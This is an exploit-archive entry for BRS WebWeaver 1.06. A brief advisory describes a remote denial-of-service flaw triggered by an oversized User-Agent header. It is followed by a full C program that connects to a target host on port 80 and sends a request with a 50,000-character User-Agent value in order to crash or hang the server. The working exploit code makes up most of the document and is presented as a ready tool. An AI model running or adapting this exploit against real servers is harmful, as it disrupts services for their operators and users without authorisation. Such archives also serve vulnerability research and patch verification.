BRS Webweaver 1.06 - HTTPd 'User-Agent' Remote Denial of Service

// source: https://www.securityfocus.com/bid/8947/info

It has been reported that BRS WebWeaver may be prone to a denial of service issue that may allow a remote attacker to cause the software to crash or hang. The issue presents itself when the server receives a request containing a large string value for the `User-Agent` parameter. 

Successful exploitation of this issue may allow an attacker to cause the software to crash or hang.

BRS WebWeaver versions 1.06 and prior have been reported to be prone to this issue.

/*
 *  BRS WebWeaver v.1.06 remote DoS exploit
 *
 * -d4rkgr3y [d4rk@securitylab.ru]
 *
 */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>

#define port 80

main(int argc, char **argv) {
        struct hostent *hs;
        struct sockaddr_in sock;
        int sockfd, i;
        const c = 50000;
        char request[50150] =
                "GET /m00-r0cz HTTP/1.0\n"
                "Accept: */*\n"
                "Accept-Language: jp\n"
                "Accept-Encoding: gzip, deflate\n"
                "Host: m00security.org\n"
                "User-Agent: ";
        printf("BRS WebWeaver v.1.06 remote DoS exploit\n\n");

        if (argc!=2){
                printf("usage\n %s hostname\n\n",argv[0]);
                exit(1);
        }

        //memset((request+98),0x41,c);
        memset((request+strlen(request)),0x41,c);
        /* l33t ;] */
        request[strlen(request)] = 0x0a;
        request[strlen(request)] = 0x43;
        request[strlen(request)] = 0x6f;
        request[strlen(request)] = 0x6e;
        request[strlen(request)] = 0x6e;
        request[strlen(request)] = 0x65;
        request[strlen(request)] = 0x63;
        request[strlen(request)] = 0x74;
        request[strlen(request)] = 0x69;
        request[strlen(request)] = 0x6f;
        request[strlen(request)] = 0x6e;
        request[strlen(request)] = 0x3a;
        request[strlen(request)] = 0x20;
        request[strlen(request)] = 0x4b;
        request[strlen(request)] = 0x65;
        request[strlen(request)] = 0x65;
request[strlen(request)] = 0x70;
        request[strlen(request)] = 0x2d;
        request[strlen(request)] = 0x41;
        request[strlen(request)] = 0x6c;
        request[strlen(request)] = 0x69;
        request[strlen(request)] = 0x76;
        request[strlen(request)] = 0x65;
        request[strlen(request)] = 0x0a;
        request[strlen(request)] = 0x0a;

        bzero(&sock, sizeof(sock));
        sock.sin_family = AF_INET;
        sock.sin_port = htons(port);
        if ((sock.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
                if ((hs=gethostbyname(argv[1]))==NULL) {
                        printf("damn");
                        exit(1);
                }
                printf("~ Host resolved.\n");
                sock.sin_family = hs->h_addrtype;
                
memcpy((caddr_t)&sock.sin_addr.s_addr,hs->h_addr,hs->h_length);
        }
        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
                perror("damn");  exit(0);
        }

        if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0){
                perror("damn"); exit(0);
        }
        printf("~ Socket connected\n");
        printf("~ Sending evil code... ");
        write(sockfd,request,strlen(request));
        printf("done\n\n");
        close(sockfd);
}